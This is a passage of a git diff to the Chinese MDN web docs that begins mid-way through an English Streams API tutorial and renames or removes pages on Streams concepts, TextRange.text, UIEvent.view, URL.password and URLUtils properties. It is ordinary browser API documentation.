-          // When no more data needs to be consumed, close the stream
-          if (done) {
-              controller.close();
-              return;
-          }
-          // Enqueue the next data chunk into our target stream
-          controller.enqueue(value);
-          return pump();
-        });
-      }
-    }
-  })
-})
-.then(stream => new Response(stream))
-.then(response => response.blob())
-.then(blob => URL.createObjectURL(blob))
-.then(url => console.log(image.src = url))
-.catch(err => console.error(err));
- -

Let’s look in detail at how read() is used. In the pump() function seen above we first invoke read(), which returns a promise containing a results object — this has the results of our read in it, in the form { done, value }:

- -
return reader.read().then(({ done, value }) => {
- -

The results can be one of three different types:

- -
    -
  • If a chunk is available to read, the promise will be fulfilled with an object of the form { value: theChunk, done: false }.
  • -
  • If the stream becomes closed, the promise will be fulfilled with an object of the form { value: undefined, done: true }.
  • -
  • If the stream becomes errored, the promise will be rejected with the relevant error.
  • -
- -

Next, we check whether done is true. If so, there are no more chunks to read (the value is undefined) so we return out of the function and close the custom stream with {{domxref("ReadableStreamDefaultController.close()")}}:

- -
if (done) {
-  controller.close();
-  return;
-}
- -
-

Note: close() is part of the new custom stream, not the original stream we are discussing here. We’ll explain more about the custom stream in the next section.

-
- -

If done is not true, we process the new chunk we’ve read (contained in the value property of the results object) and then call the pump() function again to read the next chunk.

- -
// Enqueue the next data chunk into our target stream
-controller.enqueue(value);
-return pump();
- -

This is the standard pattern you’ll see when using stream readers:

- -
    -
  1. You write a function that starts off by reading the stream.
  2. -
  3. If there is no more stream to read, you return out of the function.
  4. -
  5. If there is more stream to read, you process the current chunk then run the function again.
  6. -
  7. You keep running the function recursively until there is no more stream to read, in which case step 2 is followed.
  8. -
- -

Creating your own custom readable stream

- -

The Simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation. How do we create this? The ReadableStream constructor.

- -

The ReadableStream constructor

- -

It is easy to read from a stream when the browser provides it for you as in the case of Fetch, but sometimes you need to create a custom stream and populate it with your own chunks. The {{domxref("ReadableStream.ReadableStream()")}} constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad.

- -

The generic syntax skeleton looks like this:

- -
const stream = new ReadableStream({
-  start(controller) {
-
-  },
-  pull(controller) {
-
-  },
-  cancel() {
-
-  },
-  type,
-  autoAllocateChunkSize
-}, {
-  highWaterMark,
-  size()
-});
- -

The constructor takes two objects as parameters. The first object is required, and creates a model in JavaScript of the underlying source the data is being read from. The second object is optional, and allows you to specify a custom queueing strategy to use for your stream. You’ll rarely have to do this, so we’ll just concentrate on the first one for now.

- -

The first object can contain up to five members, only the first of which is required:

- -
    -
  1. start(controller) — A method that is called once, immediately after the ReadableStream is constructed. Inside this method, you should include code that sets up the stream functionality, e.g. beginning generation of data or otherwise getting access to the source.
  2. -
  3. pull(controller) — A method that, when included, is called repeatedly until the stream’s internal queue is full. This can be used to control the stream as more chunks are enqueued.
  4. -
  5. cancel() — A method that, when included, will be called if the app signals that the stream is to be cancelled (e.g. if {{domxref("ReadableStream.cancel()")}} is called). The contents should do whatever is necessary to release access to the stream source.
  6. -
  7. type and autoAllocateChunkSize — These are used — when included — to signify that the stream is to be a bytestream. Bytestreams will be covered separately in a future tutorial, as they are somewhat different in purpose and use case to regular (default) streams. They are also not implemented anywhere as yet.
  8. -
- -

Looking at our simple example code again, you can see that our ReadableStream constructor only includes a single method — start(), which serves to read all the data out of our fetch stream.

- -
  return new ReadableStream({
-    start(controller) {
-      return pump();
-      function pump() {
-        return reader.read().then(({ done, value }) => {
-          // When no more data needs to be consumed, close the stream
-          if (done) {
-            controller.close();
-            return;
-          }
-          // Enqueue the next data chunk into our target stream
-          controller.enqueue(value);
-          return pump();
-        });
-      }
-    }
-  })
-})
-
- -

ReadableStream controllers

- -

You’ll notice that the start() and pull() methods passed into the ReadableStream constructor are given controller parameters — these are instances of the {{domxref("ReadableStreamDefaultController")}} class, which can be used to control your stream.

- -

In our example we are using the controller’s {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} method to enqueue a value into the custom stream after it is read from the fetch body.

- -

In addition, when we are done reading the fetch body we use the controller’s {{domxref("ReadableStreamDefaultController.close","close()")}} method to close the custom stream — any previously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished.

- -

Reading from custom streams

- -

In our Simple stream pump example, we consume the custom readable stream by passing it into a {{domxref("Response.Response", "Response")}} constructor call, after which we consume it as a blob().

- -
.then(stream => new Response(stream))
-.then(response => response.blob())
-.then(blob => URL.createObjectURL(blob))
-.then(url => console.log(image.src = url))
-.catch(err => console.error(err));
- -

But a custom stream is still a ReadableStream instance, meaning you can attach a reader to it. As an example, have a look at our Simple random stream demo (see it live also), which creates a custom stream, enqueues some random strings into it, and then reads the data out of the stream again once the Stop string generation button is pressed.

- -

The custom stream constructor has a start() method that uses a {{domxref("WindowTimers.setInterval()")}} call to generate a random string every second. {{domxref("ReadableStreamDefaultController.enqueue()")}} is then used to enqueue it into the stream. When the button is pressed, the interval is cancelled, and a function called readStream() is invoked to read the data back out of the stream again. We also close the stream, as we’ve stopped enqueueing chunks to it.

- -
const stream = new ReadableStream({
-  start(controller) {
-    interval = setInterval(() => {
-      let string = randomChars();
-      // Add the string to the stream
-      controller.enqueue(string);
-      // show it on the screen
-      let listItem = document.createElement('li');
-      listItem.textContent = string;
-      list1.appendChild(listItem);
-    }, 1000);
-    button.addEventListener('click', function() {
-      clearInterval(interval);
-      readStream();
-      controller.close();
-    })
-  },
-  pull(controller) {
-    // We don't really need a pull in this example
-  },
-  cancel() {
-    // This is called if the reader cancels,
-    // so we should stop generating strings
-    clearInterval(interval);
-  }
-});
- -

In the readStream() function itself, we lock a reader to the stream using {{domxref("ReadableStream.getReader()")}}, then follow the same kind of pattern we saw earlier — reading each chunk with read(), checking whether done is true and then ending the process if so, and reading the next chunk and processing it if not, before running the read() function again.

- -
function readStream() {
-  const reader = stream.getReader();
-  let charsReceived = 0;
-
-  // read() returns a promise that resolves
-  // when a value has been received
-  reader.read().then(function processText({ done, value }) {
-    // Result objects contain two properties:
-    // done  - true if the stream has already given you all its data.
-    // value - some data. Always undefined when done is true.
-    if (done) {
-      console.log("Stream complete");
-      para.textContent = result;
-      return;
-    }
-
-    charsReceived += value.length;
-    const chunk = value;
-    let listItem = document.createElement('li');
-    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
-    list2.appendChild(listItem);
-
-    result += chunk;
-
-    // Read some more, and call this function again
-    return reader.read().then(processText);
-  });
-}
- -

Closing and cancelling streams

- -

We’ve already shown examples of using {{domxref("ReadableStreamDefaultController.close()")}} to close a reader. As we said before, any previously enqueued chunks will still be read, but no more can be enqueued because it is closed.

- -

If you wanted to completely get rid of the stream and discard any enqueued chunks, you'd use {{domxref("ReadableStream.cancel()")}} or {{domxref("ReadableStreamDefaultReader.cancel()")}}.

- -

Teeing a stream

- -

Sometimes you might want to read a stream twice, simultaneously. This is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.

- -

You might do this for example in a ServiceWorker if you want to fetch a response from the server and stream it to the browser, but also stream it to the Service Worker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.

- -

We provide an example of this in our Simple tee example (see it live also). This example works much the same way as our Simple random stream, except that when the button is pressed to stop generating random strings, the custom stream is taken and teed, and both resulting streams are then read:

- -
function teeStream() {
-    const teedOff = stream.tee();
-    readStream(teedOff[0], list2);
-    readStream(teedOff[1], list3);
-  }
- -

Pipe chains

- -

One very experimental feature of streams is the ability to pipe streams into one another (called a pipe chain). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.

- -

This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.

- -

We have created an example called Unpack Chunks of a PNG (see it live also) that fetches an image as a stream, then pipes it through to a custom PNG transform stream that retrieves PNG chunks out of a binary data stream.

- -
// Fetch the original image
-fetch('png-logo.png')
-// Retrieve its body as ReadableStream
-.then(response => response.body)
-// Create a gray-scaled PNG stream out of the original
-.then(rs => logReadableStream('Fetch Response Stream', rs))
-.then(body => body.pipeThrough(new PNGTransformStream()))
-.then(rs => logReadableStream('PNG Chunk Stream', rs))
- -

Summary

- -

That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.

diff --git "a/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" "b/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" deleted file mode 100644 index 9c2d9f77ae..0000000000 --- "a/files/zh-cn/web/api/streams_api/\346\246\202\345\277\265/index.html" +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Streams API 概念 -slug: Web/API/Streams_API/概念 -tags: - - 概念 - - 流 -translation_of: Web/API/Streams_API/Concepts ---- -
{{apiref("Streams")}}
- -

Streams API 为 Web 平台提供了一组十分有用的工具,提供了一系列对象以允许 JavaScript 访问来自网络的数据流,并根据开发人员的需要对其进行处理。与流相关的一些概念和术语可能会令您感到陌生——本文将解释您需要了解的所有内容。

- -

Readable streams

- -

一个可读流是一个数据源,在 JavaScript 中用一个 {{domxref("ReadableStream")}} 对象表示,数据从它的 underlying source (底层源) 流出 —— 底层源表示一个您希望从中获取数据的,来自网络或其他域的,某种资源。

- -

有两种 underlying source:

- -
    -
  • Push sources 会在您访问了它们之后,不断地主动推送数据。您可以自行 start, pause, 或 cancel 对流的访问。例如视频流和 TCP/Web sockets 。
  • -
  • Pull sources 需要您在连接到它们后,显式地从它们请求数据。例如通过 Fetch 或 XHR 请求访问一个文件。
  • -
- -

数据被按序读入到许多小块,这些小块被称作 chunkchunk 可以是单个字节,也可以是某种更大的数据类型,例如特定大小的 typed array 。来自一个流的 chunks 可以有不同的大小和类型。

- -

- -

已放入到流中的 chunks 称作 enqueued —— 这意味着它们已经准备好被读取,并等待在队列中。流的一个 internal queue 跟踪了那些尚未读取的块(请参阅下面的内部队列和队列策略部分)。

- -

流中的 chunks 由一个 reader 读取 —— 该数据处理过程一次只处理一个 chunk,允许您对其执行任何类型的操作。reader 加上与它一起运行的其他处理代码合称为一个 consumer 

- -

另一个您将用到的对象叫做 controller —— 每个 reader 都有一个关联的 controller,用来控制流 (例如,可以将流 close)。

- -

一个流一次只能被一个 reader 读;当一个 reader 被创建并开始读一个流(an active reader),我们说,它被 locked 在该流上。如果您想让另一个 reader 读这个流,则通常需要先取消第一个 reader ,再执行其他操作。(您可以 tee 流,参阅下面的 Teeing 部分)

- -

注意,有两种不同类型的可读流。除了传统的可读流之外,还有一种类型叫做字节流 —— 这是传统流的扩展版本,用于读取底层字节源。相比可读流,字节流除了 default reader ,还可以使用 BYOB reader (BYOB, or "bring your own buffer", "带上你自己的缓冲") 。这种 reader 可以直接将流读入开发者提供的缓冲区,从而最大限度地减少所需的复制。您的代码将使用哪种底层流(以及使用哪种 reader 和 controller)取决于流最初是如何创建的(请参阅{{domxref("ReadableStream.ReadableStream","ReadableStream()")}} 构造函数页面)。

- -
-

Important: 字节流尚未在任何地方实现,并且规范的细节被质疑是否处于可以实现的高度完成的状态。这种情况可能会随着时间而变化。

-
- -

您可以使用现成的可读流,例如来自 fetch 请求的 {{domxref("Response.body")}} ,也可以使用 {{domxref("ReadableStream.ReadableStream","ReadableStream()")}} constructor 生成您自定义的流。

- -

Teeing

- -

尽管同一时刻只能有一个 reader 可以读取流,我们可以把流分割成两个相同的副本,这样它们就可以用两个独立的 reader 读取。该过程称为 teeing

- -

在 JavaScript 中,该过程由调用 {{domxref("ReadableStream.tee()")}} 实现 —— 它返回一个数组,包含对原始可读流的两个相同的副本可读流,可以独立地被不同的 reader 读取。

- -

举例而言,您在 ServiceWorker 中可能会用到该方法,当您从服务器 fetch 资源,得到一个响应的可读流,您可能会想把这个流拆分成两个,一个流入到浏览器,另一个流入到 ServiceWorker 的缓存。由于 response 的 body 无法被消费两次,以及可读流无法被两个 reader 同时读取,您会需要两个可读流副本来实现需求。

- -

- -

Writable streams

- -

一个 Writable stream (可写流) 是一个可以写入数据的数据终点,在 JavaScript 中以一个 {{domxref("WritableStream")}} 对象表示。这是 JavaScript 层面对 underlying sink (底层汇) 的抽象 —— 底层汇是某个可以写入原始数据的更低层次的 I/O 数据汇。

- -

数据由一个 writer 写入流中,每次一个 chunk 。chunk 和可读流的 reader 一样可以有多种类型。您可以用任何方式生成要被写入的块;writer 加上相关的代码称为 producer

- -

When a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.

- -

An internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.

- -

There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).

- -

- -

You can make use of writable streams using the {{domxref("WritableStream.WritableStream","WritableStream()")}} constructor. These currently have very limited availability in browsers.

- -

Pipe chains

- -

The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. There are two methods available in the spec to facilitate this:

- -
    -
  • {{domxref("ReadableStream.pipeThrough()")}} — pipes the stream through a transform stream, which is a pair comprised of a writable stream that has data written to it, and a readable stream that then has the data read out of it — this acts as a kind of treadmill that constantly takes data in and transforms it to a new state. Effectively the same stream is written to, and then the same values are read. A simple example is a text decoder, where raw bytes are written, and then strings are read. You can find more useful ideas and examples in the spec — see Transform streams for ideas, and this web sockets example.
  • -
  • {{domxref("ReadableStream.pipeTo()")}} — pipes to a writable stream that acts as the end point of the pipe chain.
  • -
- -

The start of the pipe chain is called the original source, and the end is called the ultimate sink.

- -

- -
-

Note: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a TransformStream class to make creating transform streams easier.

-
- -

Backpressure

- -

流的一个重要概念是 backpressure (背压) —— 这是单个流或一个 pipe chain 调节读/写速度的过程。当链中后面的一个流仍然忙碌,尚未准备好接受更多的 chunks 时,它会通过链向上游的流发送一个信号,告诉上游的转换流(或原始源)适当地减慢传输速度,这样您就不会在任何地方遇到瓶颈。

- -

要在可读流中使用 backpressure 技术,我们可以通过查询 controller 的 {{domxref("ReadableStreamDefaultController.desiredSize")}} 属性。如果该值太低或为负数,我们的 ReadableStream 可以告诉它的底层源停止往流中装载数据,然后我们沿着 stream chain 进行背压。

- -

可读流在经历背压后,如果 consumer 再次想要接收数据,我们可以在构造可读流时提供 pull 方法来告诉底层源恢复往流中装载数据。

- -

Internal queues and queuing strategies

- -

As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.

- -
    -
  • In the case of readable streams, these are the chunks that have been enqueued but not yet read
  • -
  • In the case of writable streams, these are chunks that have been written but not yet processed by the underlying sink.
  • -
- -

Internal queues employ a queuing strategy, which dictates how to signal backpressure based on the internal queue state.

- -

In general, the strategy compares the size of the chunks in the queue to a value called the high water mark, which is the largest total chunk size that the queue can realistically manage.

- -

The calculation performed is

- -
high water mark - total size of chunks in queue = desired size
- -

The desired size is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.

- -
-

Note: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.

-
- -

As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.

diff --git a/files/zh-cn/web/api/textrange/text/index.html b/files/zh-cn/web/api/textrange/text/index.html deleted file mode 100644 index ae485dd58e..0000000000 --- a/files/zh-cn/web/api/textrange/text/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: TextRange.text -slug: Web/API/TextRange/text -tags: - - API - - DHTML - - DOM - - TextRange ---- -
{{ ApiRef("DOM") }}{{Non-standard_Header}}
- -
-

IE Only

-该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
- -

{{domxref("TextRange")}} 接口中的属性 text 用于以 {{domxref("DOMString")}} 形式获取或设置区域内的纯文本内容。该更改直接作用到 DOM 树中,并清除区域内原有的非纯文本元素。注意,该属性忽略所有格式数据,因此若要获取选区中的HTML内容,请使用 {{domxref("TextRange.htmlText")}} 属性。

- -

语法

- -
var tString = textRange.text;
-textRange.text = oString;
-
- -

返回值

- -

一个 {{domxref("DOMString")}}。

- -

示例

- -

以下示例在IE9以下有效。该示例通过 document.selection 获取 TextRange,并过滤选区中的富文本元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。

- -
var range = document.selection.createRange();
-range.htmlText = range.text;
-// 将富文本内容设置为纯文本内容,则区域也就变为纯文本。
-
- -

开发者笔记

- -

关于 text 属性

- -

注意,当通过该属性操作或获取时,不会得到包含非纯文本的信息;如果通过该属性设置,则区域内的元素将被删除,之后通常会变为一个包含指定内容的文本节点。因此,即使通过这个属性操作纯文本内容,结果也将剔除原先的所有格式数据。

- -

如果希望脚本的功能明确可读,最好的办法是不要同时使用该属性和 htmlText 属性设置数据。另外,该属性不是标准的,它从IE4开始在IE中实现,但不在其它浏览器的规范中。

- -

浏览器兼容性

- - - - - - - - - - - - - - - - - - -
IE其它浏览器
{{domxref("TextRange.text")}} {{non-standard_inline()}}支持(IE9后应使用标准API)不支持(详见Selection API
- -

扩展

- -
    -
  • {{domxref("TextRange")}} 作为该属性的实现接口
  • -
  • {{domxref("Selection")}} 及 {{domxref("Range")}} 标准接口
  • -
  • Selection API 用于取代该非标准接口
  • -
diff --git a/files/zh-cn/web/api/uievent/view/index.html b/files/zh-cn/web/api/uievent/view/index.html new file mode 100644 index 0000000000..66b72f2637 --- /dev/null +++ b/files/zh-cn/web/api/uievent/view/index.html @@ -0,0 +1,52 @@ +--- +title: 用户界面项目视图 +slug: Web/API/UIEvent/视图 +tags: + - API + - DOM + - UI + - 参考 + - 只读 + - 属性 +translation_of: Web/API/UIEvent/view +--- +

{{APIRef("DOM Events")}}

+ +

The UIEvent.view 只读属性返回的生成事件的 {{domxref("document.defaultView")}} (window of the document) 对象。在浏览器中,这是事件所在的 {{ domxref("Window") }} 对象。

+ +

语法

+ +
var view = event.view;
+
+ +
    +
  • view 是对 AbstractView 对象的引用。
  • +
+ +

技术参数

+ + + + + + + + + + + + + + + + + + + +
规格状态注释
{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}{{Spec2('DOM3 Events')}}从 {{SpecName('DOM2 Events')}}, 将 view 类型从 AbstractView 更改为 WindowProxy.
{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}{{Spec2('DOM2 Events')}}最初的定义。
+ +

浏览器的兼容性

+ + + +

{{Compat("api.UIEvent.view")}}

diff --git "a/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" "b/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" deleted file mode 100644 index 66b72f2637..0000000000 --- "a/files/zh-cn/web/api/uievent/\350\247\206\345\233\276/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 用户界面项目视图 -slug: Web/API/UIEvent/视图 -tags: - - API - - DOM - - UI - - 参考 - - 只读 - - 属性 -translation_of: Web/API/UIEvent/view ---- -

{{APIRef("DOM Events")}}

- -

The UIEvent.view 只读属性返回的生成事件的 {{domxref("document.defaultView")}} (window of the document) 对象。在浏览器中,这是事件所在的 {{ domxref("Window") }} 对象。

- -

语法

- -
var view = event.view;
-
- -
    -
  • view 是对 AbstractView 对象的引用。
  • -
- -

技术参数

- - - - - - - - - - - - - - - - - - - -
规格状态注释
{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}{{Spec2('DOM3 Events')}}从 {{SpecName('DOM2 Events')}}, 将 view 类型从 AbstractView 更改为 WindowProxy.
{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}{{Spec2('DOM2 Events')}}最初的定义。
- -

浏览器的兼容性

- - - -

{{Compat("api.UIEvent.view")}}

diff --git a/files/zh-cn/web/api/url/password/index.html b/files/zh-cn/web/api/url/password/index.html new file mode 100644 index 0000000000..1592676a9d --- /dev/null +++ b/files/zh-cn/web/api/url/password/index.html @@ -0,0 +1,57 @@ +--- +title: URL.密码 +slug: Web/API/URL/密码 +translation_of: Web/API/URL/password +--- +
{{ApiRef("URL API")}}
+ +

 {{domxref("URL")}}接口的password属性为{{domxref("USVString")}},其中包含在域名之前指定的密码。

+ +

如果在未设置username属性的情况下进行调用,默认失败。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.password;
+object.password = string;
+
+ +

+ +

A {{domxref("USVString")}}.

+ +

Examples

+ +
var url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
+var result = url.password; // Returns:"flabada"
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.password")}}

+ +

参见

+ +
    +
  • The {{domxref("URL")}} interface it belongs to.
  • +
diff --git "a/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" "b/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" deleted file mode 100644 index 1592676a9d..0000000000 --- "a/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: URL.密码 -slug: Web/API/URL/密码 -translation_of: Web/API/URL/password ---- -
{{ApiRef("URL API")}}
- -

 {{domxref("URL")}}接口的password属性为{{domxref("USVString")}},其中包含在域名之前指定的密码。

- -

如果在未设置username属性的情况下进行调用,默认失败。

- -

{{AvailableInWorkers}}

- -

语法

- -
string = object.password;
-object.password = string;
-
- -

- -

A {{domxref("USVString")}}.

- -

Examples

- -
var url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
-var result = url.password; // Returns:"flabada"
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
- -

浏览器兼容

- - - -

{{Compat("api.URL.password")}}

- -

参见

- -
    -
  • The {{domxref("URL")}} interface it belongs to.
  • -
diff --git a/files/zh-cn/web/api/urlutils/hash/index.html b/files/zh-cn/web/api/urlutils/hash/index.html deleted file mode 100644 index 5d8cc21f43..0000000000 --- a/files/zh-cn/web/api/urlutils/hash/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.hash -slug: Web/API/URLUtils/hash -tags: - - HTMLHyperlinkElementUtils.hash -translation_of: Web/API/HTMLHyperlinkElementUtils/hash ---- -

{{ APIRef("URLUtils") }}

- -

HTMLHyperlinkElementUtils.hash 属性返回一个包含“#”的 {{domxref("DOMString")}} , 后跟URL的片段标识符。

- -

片段没有百分比解码。如果URL没有包含片段标识符,这个属性为一个空的字符串, "".

- -

Syntax

- -
string = object.hash;
-object.hash = string;
-
- -

Examples

- -
// Let's an <a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"> element be in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.hash; // Returns:'#youhou'
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-hash', 'HTMLHyperlinkElementUtils.hash')}}{{Spec2('HTML WHATWG')}}Initial definition
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}}[3]{{CompatNo}}[2]{{CompatNo}}[2]{{CompatNo}}[2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moves either on the HTMLHyperlinkElementUtils mixin, or directly on the interface. Also, from Gecko 29 to Gecko 40, the returned value was incorrectly percent-decoded.

- -

See also

- -
    -
  • The {{domxref("HTMLHyperlinkElementUtils")}} interface it belongs to.
  • -
diff --git a/files/zh-cn/web/api/urlutils/href/index.html b/files/zh-cn/web/api/urlutils/href/index.html deleted file mode 100644 index cff669766d..0000000000 --- a/files/zh-cn/web/api/urlutils/href/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: HTMLHyperlinkElementUtils.href -slug: Web/API/URLUtils/href -tags: - - HTMLHyperlinkElementUtils.href -translation_of: Web/API/HTMLHyperlinkElementUtils/href ---- -

{{ApiRef("URL API")}}

- -

HTMLHyperlinkElementUtils.href 属性是一个包含整个URL的 {{domxref("USVString")}}。

- -

Syntax

- -
string = object.href;
-object.href = string;
-
- -

Examples

- -
// Lets imagine an <a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"> element is in the document
-var anchor = document.getElementById("myAnchor");
-var result = anchor.href; // Returns: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-hyperlink-href', 'HTMLHyperlinkElementUtils.href')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatGeckoMobile("22")}} [3]{{CompatNo}} [2]{{CompatNo}} [2]{{CompatNo}} [2]
-
- -

[1] Starting in Chrome 52, this property was moved to {{domxref('URL')}}

- -

[2] Though not grouped in a single abstract interface, this method is directly available on the interfaces that implement it, if this interface is supported.

- -

[3] From Gecko 22 to Gecko 44, this property was on the URLUtils mixin. It has been moved either on the HTMLHyperlinkElementUtils mixin, or directly on the interface.

- -

See also

- -
    -
  • The {{domxref("HTMLHyperlinkElementUtils")}} mixin it belongs to.
  • -
diff --git a/files/zh-cn/web/api/urlutils/index.html b/files/zh-cn/web/api/urlutils/index.html deleted file mode 100644 index e8d6c719d9..0000000000 --- a/files/zh-cn/web/api/urlutils/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: URLUtils -slug: Web/API/URLUtils -translation_of: Web/API/HTMLHyperlinkElementUtils ---- -

{{ApiRef("URL API")}}{{SeeCompatTable}}

- -

The HTMLHyperlinkElementUtils mixin defines utility methods and properties to work with {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}}. These utilities allow to deal with common features like URLs.

- -

There are no objects of this type, but several objects {{domxref("HTMLAnchorElement")}} and {{domxref("HTMLAreaElement")}} implement it.

- -

属性

- -
-

注意:This interface doesn't inherit any property.

-
- -
-
{{domxref("HTMLHyperlinkElementUtils.href")}}
-
This is a {{domxref("USVString")}} containing the whole URL.
-
{{domxref("HTMLHyperlinkElementUtils.protocol")}}
-
This is a {{domxref("USVString")}} containing the protocol scheme of the URL, including the final ':'.
-
{{domxref("HTMLHyperlinkElementUtils.host")}}
-
This is a {{domxref("USVString")}} containing the host, that is the hostname, and then, if the port of the URL is not empty (which can happen because it was not specified or because it was specified to be the default port of the URL's scheme), a ':', and the port of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.hostname")}}
-
This is a {{domxref("USVString")}} containing the domain of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.port")}}
-
This is a {{domxref("USVString")}} containing the port number of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.pathname")}}
-
This is a {{domxref("USVString")}} containing an initial '/' followed by the path of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.search")}}
-
This is a {{domxref("USVString")}} containing a '?' followed by the parameters of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.hash")}}
-
This is a {{domxref("USVString")}} containing a '#' followed by the fragment identifier of the URL.
-
{{domxref("HTMLHyperlinkElementUtils.username")}}
-
This is a {{domxref("USVString")}} containing the username specified before the domain name.
-
{{domxref("HTMLHyperlinkElementUtils.password")}}
-
This is a {{domxref("USVString")}} containing the password specified before the domain name.
-
{{domxref("HTMLHyperlinkElementUtils.origin")}} {{readonlyInline}}
-
This returns a {{domxref("USVString")}} containing the origin of the URL (that is its scheme, its domain and its port).
-
- -

方法

- -
-

注意:This interface doesn't inherit any method.

-
- -
-
{{domxref("HTMLHyperlinkElementUtils.toString()")}}
-
